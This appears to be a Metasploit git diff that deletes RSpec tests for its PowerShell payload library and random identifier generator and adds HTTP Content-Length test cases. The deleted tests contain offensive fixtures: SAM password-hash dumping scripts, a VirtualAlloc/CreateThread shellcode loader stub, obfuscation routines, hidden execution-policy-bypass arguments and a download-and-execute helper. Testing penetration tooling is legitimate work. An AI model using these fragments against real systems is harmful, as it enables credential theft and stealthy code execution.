')).to be_truthy - expect(code.include?(' -c ')).to be_falsey - end - end - context 'when no_equals is true' do - it 'should contain a final payload with -e' do - code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: true, method: psh_method) - expect(code.include?(' -e ')).to be_truthy - expect(code.include?(' -c ')).to be_falsey - expect(code.include?('=')).to be_falsey - end - end - context 'when encode_inner_payload is true' do - it 'should raise an exception' do - except = false - begin - subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, encode_inner_payload: true, method: psh_method) - rescue RuntimeError - except = true - end - expect(except).to be_truthy - end - end - end - - context 'when remove_comspec' do - it 'shouldnt contain %COMSPEC%' do - code = subject.cmd_psh_payload(payload, arch, template_path, remove_comspec: true, method: psh_method) - expect(code.include?('%COMSPEC%')).to be_falsey - end - end - - context 'when use single quotes' do - it 'should wrap in single quotes' do - code = subject.cmd_psh_payload(payload, arch, template_path, use_single_quotes: true, method: psh_method) - expect(code.include?(' -c \'')).to be_truthy - end - end - end - - describe "::generate_psh_command_line" do - it 'should contain no full stop when :no_full_stop' do - opts = {:no_full_stop => true} - command = subject.generate_psh_command_line(opts) - expect(command.include?("powershell ")).to be_truthy - end - - it 'should contain full stop unless :no_full_stop' do - opts = {} - command = subject.generate_psh_command_line(opts) - expect(command.include?("powershell.exe ")).to be_truthy - - opts = {:no_full_stop => false} - command = subject.generate_psh_command_line(opts) - expect(command.include?("powershell.exe ")).to be_truthy - end - - it 'should ensure the path should always ends with \\' do - opts = {:path => "test"} - command = subject.generate_psh_command_line(opts) - expect(command.include?("test\\powershell.exe ")).to be_truthy - - opts = {:path => "test\\"} - command = subject.generate_psh_command_line(opts) - expect(command.include?("test\\powershell.exe ")).to be_truthy - end - end - - describe "::generate_psh_args" do - it 'should return empty string for nil opts' do - expect(subject.generate_psh_args(nil)).to eql "" - end - - command_args = [[:encodedcommand, "parp"], - [:executionpolicy, "bypass"], - [:inputformat, "xml"], - [:file, "x"], - [:noexit, true], - [:nologo, true], - [:noninteractive, true], - [:mta, true], - [:outputformat, 'xml'], - [:sta, true], - [:noprofile, true], - [:windowstyle, "hidden"], - [:command, "Z"] - ] - - permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]} - - permutations.each do |perms| - opts = {} - perms.each do |k,v| - opts[k] = v - it "should generate correct arguments for #{opts}" do - opts[:shorten] = true - short_args = subject.generate_psh_args(opts) - opts[:shorten] = false - long_args = subject.generate_psh_args(opts) - - opt_length = opts.length - 1 - - expect(short_args).not_to be_nil - expect(long_args).not_to be_nil - expect(short_args.count('-')).to eql opt_length - expect(long_args.count('-')).to eql opt_length - expect(short_args[0]).not_to eql " " - expect(long_args[0]).not_to eql " " - expect(short_args[-1]).not_to eql " " - expect(long_args[-1]).not_to eql " " - - if opts[:command] - expect(long_args[-10..-1]).to eql "-Command Z" - expect(short_args[-4..-1]).to eql "-c Z" - end - end - end - end - end - -end - diff --git a/spec/lib/rex/powershell/function_spec.rb b/spec/lib/rex/powershell/function_spec.rb deleted file mode 100644 index a40495f374..0000000000 --- a/spec/lib/rex/powershell/function_spec.rb +++ /dev/null @@ -1,85 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/powershell' - -RSpec.describe Rex::Powershell::Function do - - let(:function_name) do - Rex::Text.rand_text_alpha(15) - end - - let(:example_function_without_params) do - """ -{ - ls HKLM:\SAM\SAM\Domains\Account\Users | - where {$_.PSChildName -match \"^[0-9A-Fa-f]{8}$\"} | - Add-Member AliasProperty KeyName PSChildName -PassThru | - Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | - Add-Member ScriptProperty V {[byte[]]($this.GetValue(\"V\"))} -PassThru | - Add-Member ScriptProperty UserName {Get-UserName($this.GetValue(\"V\"))} -PassThru | - Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue(\"V\")[0x9c..0x9f],0) + 0xCC} -PassThru -}""" - end - - let(:example_function_with_params) do - """ - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void], - - [String]$Parpy='hello', - [Integer] $puppy = 1, - - [Array[]] $stuff = Array[], - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - }""" - end - - describe "::initialize" do - it 'should handle a function without params' do - function = Rex::Powershell::Function.new(function_name, example_function_without_params) - expect(function.name).to eq function_name - expect(function.code).to eq example_function_without_params - expect(function.to_s.include?("function #{function_name} #{example_function_without_params}")).to be_truthy - expect(function.params).to be_kind_of Array - expect(function.params.empty?).to be_truthy - end - - it 'should handle a function with params' do - function = Rex::Powershell::Function.new(function_name, example_function_with_params) - expect(function.name).to eq function_name - expect(function.code).to eq example_function_with_params - expect(function.to_s.include?("function #{function_name} #{example_function_with_params}")).to be_truthy - expect(function.params).to be_kind_of Array - expect(function.params.length).to be == 5 - expect(function.params[0].klass).to eq 'Type[]' - expect(function.params[0].name).to eq 'Parameters' - expect(function.params[1].klass).to eq 'Type' - expect(function.params[1].name).to eq 'ReturnType' - end - end - -end - diff --git a/spec/lib/rex/powershell/obfu_spec.rb b/spec/lib/rex/powershell/obfu_spec.rb deleted file mode 100644 index 51e5cd5c86..0000000000 --- a/spec/lib/rex/powershell/obfu_spec.rb +++ /dev/null @@ -1,232 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/powershell' - -RSpec.describe Rex::Powershell::Obfu do - - let(:example_script_without_literal) do -""" -function Find-4624Logons -{ - -<# - -multiline_comment - -#> -\r\n\r\n\r\n -\r\n - -lots \t of whitespace - -\n\n\n\n\n -\n\n - - -# single_line_comment1 - # single_line_comment2 - # - # single_line_comment3 - if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\")) - { - $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort - if (-not $ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - LogType = 4624 - LogSource = \"Security\" - SourceAccountName = $AccountName - SourceDomainName = $AccountDomain - NewLogonAccountName = $NewLogonAccountName - NewLogonAccountDomain = $NewLogonAccountDomain - LogonType = $LogonType - WorkstationName = $WorkstationName - SourceNetworkAddress = $SourceNetworkAddress - SourcePort = $SourcePort - Count = 1 - Times = @($Logon.TimeGenerated) - } - - $ResultObj = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $ResultObj) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated - } - } - } -}""" - - end - - let(:example_script) do -""" -function Find-4624Logons -{ - -<# - -multiline_comment - -#> -\r\n\r\n\r\n -\r\n - -lots \t of whitespace - -\n\n\n\n\n -\n\n - - -# single_line_comment1 - # single_line_comment2 - # - # single_line_comment3 - $some_literal = @\" - using System; - using System.Runtime.InteropServices; - namespace $kernel32 { - public class func { - [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } - [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } - [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } - [DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); - [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); - [DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); - } - } -\"@ - if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\")) - { - $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort - if (-not $ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - LogType = 4624 - LogSource = \"Security\" - SourceAccountName = $AccountName - SourceDomainName = $AccountDomain - NewLogonAccountName = $NewLogonAccountName - NewLogonAccountDomain = $NewLogonAccountDomain - LogonType = $LogonType - WorkstationName = $WorkstationName - SourceNetworkAddress = $SourceNetworkAddress - SourcePort = $SourcePort - Count = 1 - Times = @($Logon.TimeGenerated) - } - $literal2 = @\"parp\"@ - $ResultObj = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $ResultObj) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated - } - } - } -}""" - - end - - let(:subject) do - Rex::Powershell::Script.new(example_script) - end - - let(:subject_no_literal) do - Rex::Powershell::Script.new(example_script_without_literal) - end - - describe "::strip_comments" do - it 'should strip a multiline comment' do - subject.strip_comments - expect(subject.code).to be - expect(subject.code).to be_kind_of String - expect(subject.code.include?('comment')).to be_falsey - end - - it 'should strip a single line comment' do - subject.strip_comments - expect(subject.code).to be - expect(subject.code).to be_kind_of String - expect(subject.code.include?('#')).to be_falsey - end - end - - describe "::strip_empty_lines" do - it 'should strip extra windows new lines' do - subject.strip_empty_lines - expect(subject.code).to be - expect(subject.code).to be_kind_of String - res = (subject.code =~ /\r\n\r\n/) - expect(res).to be_falsey - end - - it 'should strip extra unix new lines' do - subject.strip_empty_lines - expect(subject.code).to be - expect(subject.code).to be_kind_of String - res = (subject.code =~ /\n\n/) - expect(res).to be_falsey - end - end - - describe "::strip_whitespace" do - it 'should strip additional whitespace' do - subject.strip_whitespace - expect(subject.code).to be - expect(subject.code).to be_kind_of String - expect(subject.code.include?('lots of whitespace')).to be_truthy - end - end - - describe "::sub_vars" do - it 'should replace variables with unique names' do - subject.sub_vars - expect(subject.code).to be - expect(subject.code).to be_kind_of String - expect(subject.code.include?('$kernel32')).to be_falsey - expect(subject.code.include?('$Logon')).to be_falsey - end - end - - describe "::sub_funcs" do - it 'should replace functions with unique names' do - subject.sub_funcs - expect(subject.code).to be - expect(subject.code).to be_kind_of String - expect(subject.code.include?('Find-4624Logons')).to be_falsey - end - end - - describe "::standard_subs" do - it 'should run all substitutions on a script with no literals' do - subject_no_literal.standard_subs - expect(subject_no_literal.code).to be - expect(subject_no_literal.code).to be_kind_of String - expect(subject_no_literal.code.include?('Find-4624Logons')).to be_falsey - expect(subject_no_literal.code.include?('lots of whitespace')).to be_truthy - expect(subject_no_literal.code.include?('$kernel32')).to be_falsey - expect(subject_no_literal.code.include?('comment')).to be_falsey - res = (subject_no_literal.code =~ /\r\n\r\n/) - expect(res).to be_falsey - end - - it 'should run all substitutions except strip whitespace when literals are present' do - subject.standard_subs - expect(subject.code).to be - expect(subject.code).to be_kind_of String - expect(subject.code.include?('Find-4624Logons')).to be_falsey - expect(subject.code.include?('lots of whitespace')).to be_falsey - expect(subject.code.include?('$kernel32')).to be_falsey - expect(subject.code.include?('comment')).to be_falsey - res = (subject.code =~ /\r\n\r\n/) - expect(res).to be_falsey - end - end -end - diff --git a/spec/lib/rex/powershell/output_spec.rb b/spec/lib/rex/powershell/output_spec.rb deleted file mode 100644 index e2d95c3dc0..0000000000 --- a/spec/lib/rex/powershell/output_spec.rb +++ /dev/null @@ -1,115 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/powershell' - -RSpec.describe Rex::Powershell::Output do - - let(:example_script) do - Rex::Text.rand_text_alpha(400) - end - - let(:subject) do - Rex::Powershell::Script.new(example_script) - end - - let(:eof) do - Rex::Text.rand_text_alpha(10) - end - - describe "::to_s" do - it 'should print the script' do - expect(subject.to_s).to eq example_script - end - end - - describe "::size" do - it 'should return the size of the script' do - expect(subject.size).to eq example_script.size - end - end - - describe "::to_s_lineno" do - it 'should print the script with line numbers' do - expect(subject.to_s_lineno).to eq "0: #{example_script}" - end - end - - describe "::deflate_code" do - it 'should zlib the code and wrap in powershell in uncompression stub' do - compressed = subject.deflate_code - expect(compressed.include?('IO.Compression.DeflateStream')).to be_truthy - compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ - expect($1.size).to be < Rex::Text.encode_base64(example_script).size - expect(compressed).to eq subject.code - end - - it 'should append an eof marker if specified' do - compressed = subject.deflate_code(eof) - expect(compressed.include?("echo '#{eof}';")).to be_truthy - end - end - - describe "::encode_code" do - it 'should base64 encode the code' do - encoded = subject.encode_code - expect(encoded).to eq subject.code - encoded =~ /^([A-Za-z0-9\/+=]+)$/ - expect($1.size).to eq encoded.size - end - end - - describe "::gzip_code" do - it 'should gzip the code and wrap in powershell in uncompression stub' do - compressed = subject.gzip_code - expect(compressed.include?('IO.Compression.GzipStream')).to be_truthy - compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ - expect($1.size).to be < Rex::Text.encode_base64(example_script).size - expect(compressed).to eq subject.code - end - - it 'should append an eof marker if specified' do - compressed = subject.gzip_code(eof) - expect(compressed.include?("echo '#{eof}';")).to be_truthy - end - end - - describe "::compress_code" do - it 'should gzip by default' do - compressed = subject.compress_code - expect(compressed.include?('IO.Compression.GzipStream')).to be_truthy - end - - it 'should deflate if gzip is false' do - compressed = subject.compress_code(nil,false) - expect(compressed.include?('IO.Compression.DeflateStream')).to be_truthy - end - - it 'should append an eof' do - compressed = subject.compress_code(eof) - expect(compressed.include?("echo '#{eof}';")).to be_truthy - end - end - - describe "::decompress_code" do - it 'should locate the base64 string and decompress it when deflate is used' do - compressed = subject.compress_code(nil, false) - decompressed = subject.decompress_code - expect(decompressed).to eq example_script - end - - it 'should locate the base64 string and decompress it when gzip is used' do - compressed = subject.compress_code - decompressed = subject.decompress_code - expect(decompressed).to eq example_script - end - - it 'should raise a RuntimeException if the Base64 string is not compressed/corrupted' do - corrupted = "FromBase64String('parp')" - subject.code = corrupted - expect { subject.decompress_code }.to raise_error(RuntimeError) - expect(subject.code).to eq corrupted - end - end -end - diff --git a/spec/lib/rex/powershell/param_spec.rb b/spec/lib/rex/powershell/param_spec.rb deleted file mode 100644 index 741817e6a4..0000000000 --- a/spec/lib/rex/powershell/param_spec.rb +++ /dev/null @@ -1,27 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/powershell' - -RSpec.describe Rex::Powershell::Param do - - let(:param_name) do - Rex::Text.rand_text_alpha(15) - end - - let(:klass_name) do - Rex::Text.rand_text_alpha(15) - end - - describe "::initialize" do - it 'should create a param' do - param = Rex::Powershell::Param.new(klass_name, param_name) - expect(param).to be - expect(param.name).to eq param_name - expect(param.klass).to eq klass_name - expect(param.to_s.include?("[#{klass_name}]$#{param_name}")).to be_truthy - end - end - -end - diff --git a/spec/lib/rex/powershell/parser_spec.rb b/spec/lib/rex/powershell/parser_spec.rb deleted file mode 100644 index e7d9a705b0..0000000000 --- a/spec/lib/rex/powershell/parser_spec.rb +++ /dev/null @@ -1,159 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/powershell' - -RSpec.describe Rex::Powershell::Parser do - - let(:example_script) do -""" -function Find-4624Logons -{ - $some_literal = @\" - using System; - using System.Runtime.InteropServices; - namespace $kernel32 { - public class func { - [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } - [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } - [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } - [DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); - [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); - [DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); - } - } -\"@ - if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\")) - { - $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort - if (-not $ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - LogType = 4624 - LogSource = \"Security\" - SourceAccountName = $AccountName - SourceDomainName = $AccountDomain - NewLogonAccountName = $NewLogonAccountName - NewLogonAccountDomain = $NewLogonAccountDomain - LogonType = $LogonType - WorkstationName = $WorkstationName - SourceNetworkAddress = $SourceNetworkAddress - SourcePort = $SourcePort - Count = 1 - Times = @($Logon.TimeGenerated) - } - $literal2 = @\"parp\"@ - $ResultObj = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $ResultObj) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated - } - } - } -}""" - - end - - let(:subject) do - Rex::Powershell::Script.new(example_script) - end - - describe "::get_var_names" do - it 'should return some variable names' do - vars = subject.get_var_names - expect(vars).to be - expect(vars).to be_kind_of Array - expect(vars.length).to be > 0 - expect(vars.include?('$ResultObj')).to be_truthy - end - - it 'should not match upper or lowercase reserved names' do - initial_vars = subject.get_var_names - subject.code << "\r\n$SHELLID" - subject.code << "\r\n$ShellId" - subject.code << "\r\n$shellid" - after_vars = subject.get_var_names - expect(initial_vars).to eq after_vars - end - end - - describe "::get_func_names" do - it 'should return some function names' do - funcs = subject.get_func_names - expect(funcs).to be - expect(funcs).to be_kind_of Array - expect(funcs.length).to be > 0 - expect(funcs.include?('Find-4624Logons')).to be_truthy - end - end - - describe "::get_string_literals" do - it 'should return some string literals' do - literals = subject.get_string_literals - expect(literals).to be - expect(literals).to be_kind_of Array - expect(literals.length).to be > 0 - expect(literals[0].include?('parp')).to be_falsey - end - end - - describe "::scan_with_index" do - it 'should scan code and return the items with an index' do - scan = subject.scan_with_index('DllImport') - expect(scan).to be - expect(scan).to be_kind_of Array - expect(scan.length).to be > 0 - expect(scan[0]).to be_kind_of Array - expect(scan[0][0]).to be_kind_of String - expect(scan[0][1]).to be_kind_of Integer - end - end - - describe "::match_start" do - it 'should match the correct brackets' do - expect(subject.match_start('{')).to eq '}' - expect(subject.match_start('(')).to eq ')' - expect(subject.match_start('[')).to eq ']' - expect(subject.match_start('<')).to eq '>' - expect { subject.match_start('p') }.to raise_exception(ArgumentError) - end - end - - describe "::block_extract" do - it 'should extract a block between brackets given an index' do - idx = subject.code.index('{') - block = subject.block_extract(idx) - expect(block).to be - expect(block).to be_kind_of String - end - - it 'should raise a runtime error if given an invalid index' do - expect { subject.block_extract(nil) }.to raise_error(ArgumentError) - expect { subject.block_extract(-1) }.to raise_error(ArgumentError) - expect { subject.block_extract(subject.code.length) }.to raise_error(ArgumentError) - expect { subject.block_extract(59) }.to raise_error(ArgumentError) - end - end - - describe "::get_func" do - it 'should extract a function from the code' do - function = subject.get_func('Find-4624Logons') - expect(function).to be - expect(function).to be_kind_of Rex::Powershell::Function - end - - it 'should return nil if function doesnt exist' do - function = subject.get_func(Rex::Text.rand_text_alpha(5)) - expect(function).to be_nil - end - - it 'should delete the function if delete is true' do - function = subject.get_func('Find-4624Logons', true) - expect(subject.code.include?('DllImport')).to be_falsey - end - end -end - diff --git a/spec/lib/rex/powershell/psh_methods_spec.rb b/spec/lib/rex/powershell/psh_methods_spec.rb deleted file mode 100644 index cd65c474b9..0000000000 --- a/spec/lib/rex/powershell/psh_methods_spec.rb +++ /dev/null @@ -1,53 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/powershell' - -RSpec.describe Rex::Powershell::PshMethods do - - describe "::download" do - it 'should return some powershell' do - script = Rex::Powershell::PshMethods.download('a','b') - expect(script).to be - expect(script.include?('WebClient')).to be_truthy - end - end - describe "::uninstall" do - it 'should return some powershell' do - script = Rex::Powershell::PshMethods.uninstall('a') - expect(script).to be - expect(script.include?('Win32_Product')).to be_truthy - end - end - describe "::secure_string" do - it 'should return some powershell' do - script = Rex::Powershell::PshMethods.secure_string('a') - expect(script).to be - expect(script.include?('AsPlainText')).to be_truthy - end - end - describe "::who_locked_file" do - it 'should return some powershell' do - script = Rex::Powershell::PshMethods.who_locked_file('a') - expect(script).to be - expect(script.include?('Get-Process')).to be_truthy - end - end - describe "::get_last_login" do - it 'should return some powershell' do - script = Rex::Powershell::PshMethods.get_last_login('a') - expect(script).to be - expect(script.include?('Get-QADComputer')).to be_truthy - end - end - describe "::proxy_aware_download_and_exec_string" do - it 'should return some powershell' do - url = 'http://blah' - script = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) - expect(script).to be - expect(script.include?(url)).to be_truthy - expect(script.downcase.include?('downloadstring')).to be_truthy - end - end -end - diff --git a/spec/lib/rex/powershell/script_spec.rb b/spec/lib/rex/powershell/script_spec.rb deleted file mode 100644 index 47b723842b..0000000000 --- a/spec/lib/rex/powershell/script_spec.rb +++ /dev/null @@ -1,48 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/powershell' - -RSpec.describe Rex::Powershell::Output do - - let(:example_script) do - Rex::Text.rand_text_alpha(400) - end - - let(:subject) do - Rex::Powershell::Script.new(example_script) - end - - describe "::initialize" do - it 'should create a new script object' do - expect(subject).to be - expect(subject).to be_kind_of Rex::Powershell::Script - expect(subject.rig).to be - expect(subject.rig).to be_kind_of Rex::RandomIdentifierGenerator - expect(subject.code).to be - expect(subject.code).to be_kind_of String - expect(subject.code.empty?).to be_falsey - expect(subject.functions.empty?).to be_truthy - end - end - - describe "::to_byte_array" do - it 'should generate a powershell byte array' do - byte_array = Rex::Powershell::Script.to_byte_array("parp") - expect(byte_array).to be - expect(byte_array).to be_kind_of String - expect(byte_array.include?('[Byte[]] $')).to be_truthy - end - end - - describe "::code_modifiers" do - it 'should return an array of modifier methods' do - mods = Rex::Powershell::Script.code_modifiers - expect(mods).to be - expect(mods).to be_kind_of Array - expect(mods.empty?).to be_falsey - end - end - -end - diff --git a/spec/lib/rex/powershell_spec.rb b/spec/lib/rex/powershell_spec.rb deleted file mode 100644 index 8fe0c28d86..0000000000 --- a/spec/lib/rex/powershell_spec.rb +++ /dev/null @@ -1,47 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/powershell' - -RSpec.describe Rex::Powershell do - - let(:example_script) do - """function DumpHashes -{ - LoadApi - $bootkey = Get-BootKey; - $hbootKey = Get-HBootKey $bootkey; - Get-UserKeys | %{ - $hashes = Get-UserHashes $_ $hBootKey; - \"{0}:{1}:{2}:{3}:::\" -f ($_.UserName,$_.Rid, - [BitConverter]::ToString($hashes[0]).Replace(\"-\",\"\").ToLower(), - [BitConverter]::ToString($hashes[1]).Replace(\"-\",\"\").ToLower()); - } -} -DumpHashes""" - end - - describe "::read_script" do - it 'should create a script from a string input' do - script = described_class.read_script(example_script) - expect(script).to be_a_kind_of Rex::Powershell::Script - end - end - - describe "::process_subs" do - it 'should create an array of substitutions to process' do - subs = described_class.process_subs("BitConverter,ParpConverter;$bootkey,$parpkey;") - expect(subs).to eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']] - end - end - - describe "::make_subs" do - it 'should substitute values in script' do - script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']]) - expect(script.include?('BitConverter')).to be_falsey - expect(script.include?('ParpConverter')).to be_truthy - end - end - -end - diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 644e576a5c..082056803d 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -108,9 +108,6 @@ RSpec.describe Rex::Proto::Http::ClientRequest do :set_uri_append => { :result => "" }, :set_agent_header => { :result => "User-Agent: Mozilla/4.0 (compatible; Metasploit RSPEC)\r\n" }, :set_host_header => { :result => "Host: www.example.com\r\n" }, - :set_formatted_header => { :args => ["Foo", "Bar"], :result => "Foo: Bar\r\n" }, - :set_formatted_header => { :args => ["foo", "Bar"], :result => "foo: Bar\r\n" }, - :set_formatted_header => { :args => ["Foo", "Bar\twith\ttabs"], :result => "Foo: Bar\twith\ttabs\r\n" }, :set_formatted_header => { :args => ["Foo\twith\tabs", "Bar"], :result => "Foo\twith\tabs: Bar\r\n" }, } ], @@ -127,9 +124,6 @@ RSpec.describe Rex::Proto::Http::ClientRequest do :set_agent_header => { :result => "User-Agent:\r\n\tMozilla/4.0 (compatible; Metasploit RSPEC)\r\n" }, :set_cookie_header => { :result => "" }, :set_connection_header => { :result => "Connection:\r\n\tclose\r\n" }, - :set_formatted_header => { :args => ["Foo", "Bar"], :result => "Foo:\r\n\tBar\r\n" }, - :set_formatted_header => { :args => ["foo", "Bar"], :result => "foo:\r\n\tBar\r\n" }, - :set_formatted_header => { :args => ["Foo", "Bar\twith\ttabs"], :result => "Foo:\r\n\tBar\twith\ttabs\r\n" }, :set_formatted_header => { :args => ["Foo\twith\tabs", "Bar"], :result => "Foo\twith\tabs:\r\n\tBar\r\n" }, } ], @@ -151,7 +145,36 @@ RSpec.describe Rex::Proto::Http::ClientRequest do { :set_host_header => { :result => "Host: [2001:DB8::1]:1234\r\n" }, } - ] + ], + + [ + "with modified Content-Length header", + default_options.merge({ + 'headers' => { 'Content-Length' => 1337 } + }), + { + :set_content_len_header => { args: 0, result: ''} + } + ], + + [ + "with 1024 bytes of Content-Length", + default_options, + { + :set_content_len_header => { args: 1024, result: "Content-Length: 1024\r\n"} + } + ], + + [ + "with a POST request and no payload body", + default_options.merge({ + 'method' => 'POST' + }), + { + :set_content_len_header => { args: 0, result: "Content-Length: 0\r\n"} + } + ], + ].each do |c, opts, expectations| context c do subject(:client_request) { Rex::Proto::Http::ClientRequest.new(opts) } diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb deleted file mode 100644 index 68652ad85c..0000000000 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ /dev/null @@ -1,141 +0,0 @@ -require 'spec_helper' -require 'rex/random_identifier_generator' - -RSpec.describe Rex::RandomIdentifierGenerator do - let(:options) do - { :min_length => 10, :max_length => 20 } - end - - subject(:rig) { described_class.new(options) } - - it { is_expected.to respond_to(:generate) } - it { is_expected.to respond_to(:[]) } - it { is_expected.to respond_to(:get) } - it { is_expected.to respond_to(:store) } - it { is_expected.to respond_to(:to_h) } - - describe "#generate" do - it "should respect :min_length" do - 1000.times do - expect(rig.generate.length).to be >= options[:min_length] - end - end - - it "should respect :max_length" do - 1000.times do - expect(rig.generate.length).to be <= options[:max_length] - end - end - - it "should allow mangling in a block" do - ident = rig.generate { |identifier| identifier.upcase } - expect(ident).to match(/\A[A-Z0-9_]*\Z/) - - ident = subject.generate { |identifier| identifier.downcase } - expect(ident).to match(/\A[a-z0-9_]*\Z/) - - ident = subject.generate { |identifier| identifier.gsub("A","B") } - expect(ident).not_to include("A") - end - end - - describe "#get" do - let(:options) do - { :min_length=>3, :max_length=>3 } - end - it "should return the same thing for subsequent calls" do - expect(rig.get(:rspec)).to eq rig.get(:rspec) - end - it "should not return the same for different names" do - # Statistically... - count = 1000 - a = Set.new - count.times do |n| - a.add rig.get(n) - end - expect(a.size).to eq count - end - - context "with an exhausted set" do - let(:options) do - { :char_set => "abcd", :min_length=>2, :max_length=>2 } - end - let(:max_permutations) do - # 26 because first char is hardcoded to be lowercase alpha - 26 * (options[:char_set].length ** options[:min_length]) - end - - it "doesn't infinite loop" do - Timeout.timeout(1) do - expect { - (max_permutations + 1).times { |i| rig.get(i) } - }.to raise_error(Rex::RandomIdentifierGenerator::ExhaustedSpaceError) - # don't rescue TimeoutError here because we want that to be a - # failure case - end - end - - end - - end - - describe "#store" do - let(:options) do - { :char_set => "abcd", :min_length=>8, :max_length=>20 } - end - - it "should allow smaller than minimum length" do - value = "a"*(options[:min_length]-1) - rig.store(:spec, value) - expect(rig.get(:spec)).to eq value - end - - it "should allow bigger than maximum length" do - value = "a"*(options[:max_length]+1) - rig.store(:spec, value) - expect(rig.get(:spec)).to eq value - end - - it "should raise if value is not unique" do - value = "a"*(options[:max_length]+1) - rig.store(:spec0, value) - expect(rig.get(:spec0)).to eq value - expect { rig.store(:spec1, value) }.to raise_error(RuntimeError) - end - - it "should overwrite a previously stored value" do - orig_value = "a"*(options[:max_length]) - rig.store(:spec, orig_value) - expect(rig.get(:spec)).to eq orig_value - - new_value = "b"*(options[:max_length]) - rig.store(:spec, new_value) - expect(rig.get(:spec)).to eq new_value - end - - it "should overwrite a previously generated value" do - rig.get(:spec) - - new_value = "a"*(options[:max_length]) - rig.store(:spec, new_value) - expect(rig.get(:spec)).to eq new_value - end - - end - - describe "#to_h" do - it "should return a Hash" do - expect(rig.to_h).to be_kind_of(Hash) - end - it "should return expected key-value pairs" do - expected_keys = [:var_foo, :var_bar] - 